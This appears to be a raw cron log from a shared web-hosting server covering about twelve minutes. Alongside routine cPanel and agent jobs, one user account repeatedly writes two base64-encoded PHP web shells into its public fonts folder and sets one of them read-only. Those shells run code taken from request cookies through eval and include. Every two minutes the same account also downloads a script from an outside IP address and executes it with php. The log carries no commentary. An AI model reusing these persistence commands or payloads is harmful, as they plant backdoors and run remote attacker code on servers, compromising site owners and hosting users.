Sep  1 12:02:01 ip-184-168-122-23 CROND[19063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:02:01 ip-184-168-122-23 CROND[19067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:02:01 ip-184-168-122-23 CROND[19064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:02:01 ip-184-168-122-23 CROND[19066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:03:01 ip-184-168-122-23 CROND[19161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:03:01 ip-184-168-122-23 CROND[19163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:03:01 ip-184-168-122-23 CROND[19164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:03:01 ip-184-168-122-23 CROND[19165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:04:01 ip-184-168-122-23 CROND[19435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:04:01 ip-184-168-122-23 CROND[19436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:04:01 ip-184-168-122-23 CROND[19437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:04:01 ip-184-168-122-23 CROND[19440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:04:01 ip-184-168-122-23 CROND[19438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:05:02 ip-184-168-122-23 CROND[19573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:05:02 ip-184-168-122-23 CROND[19574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:05:02 ip-184-168-122-23 CROND[19572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:05:02 ip-184-168-122-23 CROND[19575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:05:02 ip-184-168-122-23 CROND[19576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:05:02 ip-184-168-122-23 CROND[19582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:05:02 ip-184-168-122-23 CROND[19583]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:06:01 ip-184-168-122-23 CROND[19740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:06:02 ip-184-168-122-23 CROND[19743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:06:02 ip-184-168-122-23 CROND[19742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:06:02 ip-184-168-122-23 CROND[19745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:06:02 ip-184-168-122-23 CROND[19746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:07:01 ip-184-168-122-23 CROND[19858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:07:01 ip-184-168-122-23 CROND[19861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:07:01 ip-184-168-122-23 CROND[19862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:07:01 ip-184-168-122-23 CROND[19863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:08:01 ip-184-168-122-23 CROND[19980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:08:01 ip-184-168-122-23 CROND[19983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:08:01 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:08:01 ip-184-168-122-23 CROND[19982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:08:01 ip-184-168-122-23 CROND[19985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:09:01 ip-184-168-122-23 CROND[20184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:09:01 ip-184-168-122-23 CROND[20186]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 12:09:01 ip-184-168-122-23 CROND[20188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:09:01 ip-184-168-122-23 CROND[20189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:09:01 ip-184-168-122-23 CROND[20191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:10:01 ip-184-168-122-23 CROND[20332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:10:01 ip-184-168-122-23 CROND[20333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:10:01 ip-184-168-122-23 CROND[20337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:10:01 ip-184-168-122-23 CROND[20336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:10:01 ip-184-168-122-23 CROND[20338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:10:01 ip-184-168-122-23 CROND[20339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:10:01 ip-184-168-122-23 CROND[20340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:10:01 ip-184-168-122-23 CROND[20341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:11:01 ip-184-168-122-23 CROND[20454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:11:01 ip-184-168-122-23 CROND[20452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:11:01 ip-184-168-122-23 CROND[20451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:11:01 ip-184-168-122-23 CROND[20453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:12:01 ip-184-168-122-23 CROND[20671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:12:01 ip-184-168-122-23 CROND[20672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:12:01 ip-184-168-122-23 CROND[20674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:12:01 ip-184-168-122-23 CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:12:01 ip-184-168-122-23 CROND[20678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:13:01 ip-184-168-122-23 CROND[20804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:13:01 ip-184-168-122-23 CROND[20807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:13:01 ip-184-168-122-23 CROND[20806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:13:01 ip-184-168-122-23 CROND[20808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:14:01 ip-184-168-122-23 CROND[21028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:14:01 ip-184-168-122-23 CROND[21032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
